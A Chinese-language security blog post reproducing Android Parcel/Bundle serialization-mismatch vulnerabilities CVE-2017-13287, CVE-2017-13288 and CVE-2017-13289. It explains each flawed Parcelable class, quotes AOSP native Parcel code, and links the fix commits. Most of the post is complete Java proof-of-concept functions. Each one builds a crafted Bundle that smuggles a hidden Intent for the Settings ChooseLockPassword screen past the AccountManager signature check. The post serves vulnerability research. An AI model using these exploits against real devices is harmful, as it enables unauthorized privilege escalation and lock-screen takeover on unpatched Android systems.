几个Android反序列化漏洞复现

参考相关文章,完成一下Android的几个反序列化漏洞的PoC代码。原理是相似的,只是出现序列化缺陷的类有不同,构造方法也有细微的区别。

CEV-2017-13311和CVE-2017-13315只能以后有时间再补上了。

Bundle风水——Android序列化与反序列化不匹配漏洞详解 - 先知社区 (aliyun.com)

CVE Parcelable对象 公布时间
CVE-2017-0806 GateKeeperResponse 2017.10
CVE-2017-13286 OutputConfiguration 2018.04
CVE-2017-13287 VerifyCredentialResponse 2018.04
CVE-2017-13288 PeriodicAdvertisingReport 2018.04
CVE-2017-13289 ParcelableRttResults 2018.04
CVE-2017-13311 SparseMappingTable 2018.05
CVE-2017-13315 DcParamObject 2018.05

CVE-2017-13286

详细分析在之前的一篇文章:CVE-2017-13286 复现 | Slient2009

CVE-2017-13287

对应的类是core/java/com/android/internal/widget/VerifyCredentialResponse.java

image-20210912114212610

mResponseCode=RESPONSE_OK=0时,一定会从Parcel中再读取一个int视作mPayload的长度,但是在序列化过程中,只会在mPayload!=null才会写出PayloadSizemPayload
如果构造ResponseCode=0size=0,在反序列化过程中,会读入这两个值,并且使得Payload=null。但是在序列化过程中,只会写出ResponseCode=0。由此,导致了内存在序列化前后的不一致。
具体构造方法如下:

image-20210912160551139

  1. 构造一个VerifyCredentialResponseresponseCode=0payloadSize=0,但是不会读入payloadByteArray。构造一个ByteArray对象,key=0xC11171(末尾的0表示String的阶段),value中内含一个恶意intent。后加一个String对象用于填充。
  2. 第二次序列化时,VerifyCredentialResponse不会写出payloadSize=0,但是在第二次反序列化时会读入payloadSize=0x0C
    因此在反序列化过程中,后续的0xC111作为payload被读入。需要注意的是,payload的读入具体由android_os_Parcel_readByteArray()完成,0xC=12将被视作byte array的长度,0x111是具体内容。
    因此,后续的0x7被视作第二个键的长度,接下来的0D以及L(原bytes的长度)被解析为键名,0x6表示键值是个LongLONG是具体的数值。
    接着,intent就暴露出来,从而绕过了intent的签名检查。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// core.java.android.os.Parcel.java中使用的native函数,在core.jni.android_os_Parcel.cpp中
static jboolean android_os_Parcel_readByteArray(JNIEnv* env, jclass clazz, jlong nativePtr, jobject dest, jint destLen){
jboolean ret = JNI_FALSE;
Parcel* parcel = reinterpret_cast<Parcel*>(nativePtr);
if (parcel == NULL) {
return ret;
}
int32_t len = parcel->readInt32();//先读length
if (len >= 0 && len <= (int32_t)parcel->dataAvail() && len == destLen) {//还要校验两次声明的长度是否一致,否则抛出异常
jbyte* ar = (jbyte*)env->GetPrimitiveArrayCritical((jarray)dest, 0);
if (ar) {
const void* data = parcel->readInplace(len);
memcpy(ar, data, len);
env->ReleasePrimitiveArrayCritical((jarray)dest, ar, 0);
ret = JNI_TRUE;
}
}
return ret;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
public Bundle poc2017_13287(){
Bundle retBundle = new Bundle();
Parcel bundleData = Parcel.obtain();
Parcel craftData = Parcel.obtain();

//craftData是传递的Bundle载荷,这里手动构造载荷内容,然后补上Bundle格式头
craftData.writeInt(3); // 总共传递3个对象,三个key-value对

// 第一个Key为VerifyCredentialResponse,它将用来引起内存错位从而绕过检查
craftData.writeString("object1");//是这个object的名字,似乎长度有些要求
craftData.writeInt(4); // VAL_PARCELABLE = 4
craftData.writeString("com.android.internal.widget.VerifyCredentialResponse"); // value类型VerifyCredentialResponse
craftData.writeInt(0);//responseCode=0 RESPONSE_ERROR=-1 RESPONSE_OK=0 RESPONSE_RETRY=1 这里需要OK使得去尝试读PayloadSize字段
craftData.writeInt(0);//PayloadSize=0 读入payload为null,但是不会写出payloadSize=0,从这里开始造成错位

craftData.writeInt(12);//第二个key的长度,后来被解析为PayloadSize
craftData.writeInt(12);//第二个key的值,后来被解析为payloadBytesLength,参看Parcel的native readByteArray(),发现byteArray的第一个int表示了byteArray的长度,且PayloadSize应该等于ByteArrayLength,否则要抛异常
craftData.writeInt(1);
craftData.writeInt(1);
craftData.writeInt(1);
craftData.writeInt(7);//
craftData.writeInt(1);
craftData.writeInt(0);//这个0用于表示string的结束

craftData.writeInt(13);//VAL_BYTEARRAY = 13,后来被解析为第二个key的长度

// 接下来构造ByteArray,或者说内含Intent的ByteArray
craftData.writeInt(-1); // 这个位置用于存放ByteArray部分的长度,先占位,构造完之后再来写入
int ByteArrayStartPos = craftData.dataPosition(); // 记录ByteArray部分在craftData中起始位置,因为接下来要构造ByteArray了

craftData.writeInt(6);
craftData.writeLong(6);

craftData.writeString(AccountManager.KEY_INTENT);// 第二个object是个intent
craftData.writeInt(4); //intent也是一个parcel
craftData.writeString("android.content.Intent");// value类型为intent,将被按照intent格式解析
craftData.writeString(Intent.ACTION_RUN); // Intent Action 这里开始是intent的属性
Uri.writeToParcel(craftData, null); // Uri
craftData.writeString(null); // Type
craftData.writeInt(0x10000000); // Flags
craftData.writeString(null); // Package
craftData.writeString("com.android.settings");
craftData.writeString("com.android.settings.ChooseLockPassword");
craftData.writeInt(0); //SourceBounds
craftData.writeInt(0); //Categories
craftData.writeInt(0); //Selector
craftData.writeInt(0); //ClipData
craftData.writeInt(-2); //ContentUserHint
craftData.writeBundle(null);

int ByteArrayEndPos = craftData.dataPosition(); // byteArray到此结束,记录结束位置
int ByteArrayLength = ByteArrayEndPos - ByteArrayStartPos; // 计算ByteArray数据的长度
craftData.setDataPosition(ByteArrayStartPos - 4); // 把读写指针位移动到ByteArray部分起始位-4,即-1所在的位置
craftData.writeInt(ByteArrayLength);// 在ByteArray部分前写入ByteArray这段数据的长度
craftData.setDataPosition(ByteArrayEndPos);// 将读写指针移动到最后
Log.i(TAG, "the length of INTENT = " + ByteArrayLength);

// 这里做个用于填充的键值对
craftData.writeString("PaddingK");
craftData.writeInt(0); // VAL_STRING
craftData.writeString("PaddingV"); //

int length = craftData.dataSize();
bundleData.writeInt(length); //所有数据的长度
bundleData.writeInt(0x4c444E42); //Bundle魔数
bundleData.appendFrom(craftData, 0, length); //
bundleData.setDataPosition(0);//移动Parcel的读写指针位置到开头
retBundle.readFromParcel(bundleData);

return retBundle;
}

修复措施:Diff - 09ba8fdffd9c8d74fdc6bfb51bcebc27fc43884a^! - platform/frameworks/base - Git at Google (googlesource.com)

image-20210912202251144

CVE-2017-13288

对应的类是core/java/android/bluetooth/le/PeriodicAdvertisingReport.java

image-20210912162607553

这个漏洞类似于CVE-2017-13286,相当于都是多写了一个int,构造方法如图所示:

image-20210912163413323

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public Bundle poc2017_13288(){
Bundle retBundle = new Bundle();
Parcel bundleData = Parcel.obtain();
Parcel craftData = Parcel.obtain();

//craftData是传递的Bundle载荷,这里手动构造载荷内容,然后补上Bundle格式头
craftData.writeInt(3); // 总共传递3个对象,三个key-value对

// 第一个Key为VerifyCredentialResponse,它将用来引起内存错位从而绕过检查
craftData.writeString("PARPAR");//是这个object的名字,似乎长度有些要求
craftData.writeInt(4); // VAL_PARCELABLE = 4
craftData.writeString("android.bluetooth.le.PeriodicAdvertisingReport"); // value类型PeriodicAdvertisingReport
craftData.writeInt(1);//syncHandle
craftData.writeInt(1);//txPower INT to LONG
craftData.writeInt(1);//rssi
craftData.writeInt(1);//dataStatus
craftData.writeInt(1);//isData
craftData.writeInt(1);//BytesLength
craftData.writeInt(1);//Bytes

craftData.writeInt(1);//第二个Key的长度,后来被解析为payloadSize
craftData.writeInt(6);//第二个Key的值,后来被接卸为payloadByteArray
craftData.writeInt(13);//VAL_BYTEARRAY = 13,后来被解析为第二个key的长度

// 接下来构造ByteArray,或者说内含Intent的ByteArray
craftData.writeInt(-1); // 这个位置用于存放ByteArray部分的长度,先占位,构造完之后再来写入
int ByteArrayStartPos = craftData.dataPosition(); // 记录ByteArray部分在craftData中起始位置,因为接下来要构造ByteArray了

craftData.writeString(AccountManager.KEY_INTENT);
craftData.writeInt(4); //intent也是一个parcel
craftData.writeString("android.content.Intent");// value类型为intent,将被按照intent格式解析
craftData.writeString(Intent.ACTION_RUN); // Intent Action 这里开始是intent的属性
Uri.writeToParcel(craftData, null); // Uri
craftData.writeString(null); // Type
craftData.writeInt(0x10000000); // Flags
craftData.writeString(null); // Package
craftData.writeString("com.android.settings");
craftData.writeString("com.android.settings.ChooseLockPassword");
craftData.writeInt(0); //SourceBounds
craftData.writeInt(0); //Categories
craftData.writeInt(0); //Selector
craftData.writeInt(0); //ClipData
craftData.writeInt(-2); //ContentUserHint
craftData.writeBundle(null);

int ByteArrayEndPos = craftData.dataPosition(); // byteArray到此结束,记录结束位置
int ByteArrayLength = ByteArrayEndPos - ByteArrayStartPos; // 计算ByteArray数据的长度
craftData.setDataPosition(ByteArrayStartPos - 4); // 把读写指针位移动到ByteArray部分起始位-4,即-1所在的位置
craftData.writeInt(ByteArrayLength);// 在ByteArray部分前写入ByteArray这段数据的长度
craftData.setDataPosition(ByteArrayEndPos);// 将读写指针移动到最后

// 这里做个用于填充的键值对
craftData.writeString("Padding");
craftData.writeInt(0); // VAL_STRING
craftData.writeString("Padding"); //

int length = craftData.dataSize();
bundleData.writeInt(length); //所有数据的长度
bundleData.writeInt(0x4c444E42); //Bundle魔数
bundleData.appendFrom(craftData, 0, length); //
bundleData.setDataPosition(0);//移动Parcel的读写指针位置到开头
retBundle.readFromParcel(bundleData);
return retBundle;
}

修复措施:Diff - b796cd32a45bcc0763c50cc1a0cc8236153dcea3^! - platform/frameworks/base - Git at Google (googlesource.com)

image-20210912202325193

CVE-2017-13289

对应的类是wifi/java/android/net/wifi/RttManager.java - platform/frameworks/base - Git at Google (googlesource.com),有5个内部类实现了Parcelable,一一观察,可以发现问题出在ParcelableRttResults这里。

image-20210913162036354

这个内部类的序列化工作涉及到了很多的字段,缺陷代码如图标注所示,本应用writeByteArray()却写成了writeByte(),多数情况下会少写出若干Byte,从而造成内存向前错位。
关于writeByte()readByte()readByteArray()的函数实现如下所示:
读入ByteArray时,会先读一个int表示Array的长度,后续的一定长度的内存空间才是Array的具体内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//Parcelable.java
public final class Parcelable {
public final void writeByte(byte val) {
writeInt(val);
}
public final byte readByte() {
return (byte)(readInt() & 0xff);
}
public final void readByteArray(byte[] val) {
boolean valid = nativeReadByteArray(mNativePtr, val, (val != null) ? val.length : 0);
if (!valid) {
throw new RuntimeException("bad array lengths");
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//android_os_Parcel.cpp
static const JNINativeMethod gParcelMethods[] = {
......
{"nativeWriteByteArray", "(J[BII)V", (void*)android_os_Parcel_writeByteArray},
......
}
static void android_os_Parcel_writeByteArray(JNIEnv* env, jclass clazz, jlong nativePtr,
jobject data, jint offset, jint length)
{
Parcel* parcel = reinterpret_cast<Parcel*>(nativePtr);
if (parcel == NULL) {
return;
}
const status_t err = parcel->writeInt32(length);
if (err != NO_ERROR) {
signalExceptionForError(env, clazz, err);
return;
}
void* dest = parcel->writeInplace(length);
if (dest == NULL) {
signalExceptionForError(env, clazz, NO_MEMORY);
return;
}
jbyte* ar = (jbyte*)env->GetPrimitiveArrayCritical((jarray)data, 0);
if (ar) {
memcpy(dest, ar + offset, length);
env->ReleasePrimitiveArrayCritical((jarray)data, ar, 0);
}
}

构造方法如下:

image-20210913164445607

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
public Bundle poc2017_13289(){
Bundle retBundle = new Bundle();
Parcel bundleData = Parcel.obtain();
Parcel craftData = Parcel.obtain();

//craftData是传递的Bundle载荷,这里手动构造载荷内容,然后补上Bundle格式头
craftData.writeInt(3); // 总共传递3个对象,三个key-value对

// 第一个Key为VerifyCredentialResponse,它将用来引起内存错位从而绕过检查
craftData.writeString("PRRPRR");//是这个object的名字,似乎长度有些要求
craftData.writeInt(4); // VAL_PARCELABLE = 4
craftData.writeString("android.net.wifi.RttManager$ParcelableRttResults"); // value类型为ParcelableRttResults
craftData.writeInt(1);//result num
craftData.writeString("bssid");//bssid
craftData.writeInt(1);//burstNumber
craftData.writeInt(1);//measurementFrameNumber
craftData.writeInt(1);//successMeasurementFrameNumber
craftData.writeInt(1);//frameNumberPerBurstPeer
craftData.writeInt(1);//status
craftData.writeInt(1);//measurementType
craftData.writeInt(1);//retryAfterDuration

craftData.writeLong(1);//ts

craftData.writeInt(1);//rssi
craftData.writeInt(1);//rssiSpread
craftData.writeInt(1);//txRate

craftData.writeLong(1);//rtt
craftData.writeLong(1);//rttStandardDeviation
craftData.writeLong(1);//rttSpread

craftData.writeInt(1);//distance
craftData.writeInt(1);//distanceStandardDeviation
craftData.writeInt(1);//distanceSpread
craftData.writeInt(1);//burstDuration
craftData.writeInt(1);//negotiatedBurstNum

craftData.writeByte((byte) 255);//LCI.id=0xFF,不读入length和LCI.data

craftData.writeByte((byte) 4);//LCR.id=4,开始读入length=4 LCR.data= [4 1234]
craftData.writeByte((byte) 4);// length
craftData.writeByteArray( new byte[]{1,2,3,4}); //data

craftData.writeByte((byte) 1);//secure

craftData.writeInt(1);//第二个Key的长度,后来被解析为secure
craftData.writeInt(4);//第二个Key的值,后来被接卸为key-Len
craftData.writeInt(13);

// 接下来构造ByteArray,或者说内含Intent的ByteArray
craftData.writeInt(-1); // 这个位置用于存放ByteArray部分的长度,先占位,构造完之后再来写入
int ByteArrayStartPos = craftData.dataPosition(); // 记录ByteArray部分在craftData中起始位置,因为接下来要构造ByteArray了

craftData.writeInt(0);
craftData.writeInt(6);
craftData.writeLong(1);

craftData.writeString(AccountManager.KEY_INTENT);
craftData.writeInt(4); //intent也是一个parcel
craftData.writeString("android.content.Intent");// value类型为intent,将被按照intent格式解析
craftData.writeString(Intent.ACTION_RUN); // Intent Action 这里开始是intent的属性
Uri.writeToParcel(craftData, null); // Uri
craftData.writeString(null); // Type
craftData.writeInt(0x10000000); // Flags
craftData.writeString(null); // Package
craftData.writeString("com.android.settings");
craftData.writeString("com.android.settings.ChooseLockPassword");
craftData.writeInt(0); //SourceBounds
craftData.writeInt(0); //Categories
craftData.writeInt(0); //Selector
craftData.writeInt(0); //ClipData
craftData.writeInt(-2); //ContentUserHint
craftData.writeBundle(null);

int ByteArrayEndPos = craftData.dataPosition(); // byteArray到此结束,记录结束位置
int ByteArrayLength = ByteArrayEndPos - ByteArrayStartPos; // 计算ByteArray数据的长度
craftData.setDataPosition(ByteArrayStartPos - 4); // 把读写指针位移动到ByteArray部分起始位-4,即-1所在的位置
craftData.writeInt(ByteArrayLength);// 在ByteArray部分前写入ByteArray这段数据的长度
craftData.setDataPosition(ByteArrayEndPos);// 将读写指针移动到最后
Log.i(TAG, "INTENT length = " + ByteArrayLength);

// 这里做个用于填充的键值对
craftData.writeString("Padding");
craftData.writeInt(0); // VAL_STRING
craftData.writeString("Padding"); //

int length = craftData.dataSize();
bundleData.writeInt(length); //所有数据的长度
bundleData.writeInt(0x4c444E42); //Bundle魔数
bundleData.appendFrom(craftData, 0, length); //
bundleData.setDataPosition(0);//移动Parcel的读写指针位置到开头
retBundle.readFromParcel(bundleData);
return retBundle;
}

修复措施:Diff - 5a3d2708cd2289a4882927c0e2cb0d3c21a99c02^! - platform/frameworks/base - Git at Google (googlesource.com)

image-20210913164553310

Welcome to my other publishing channels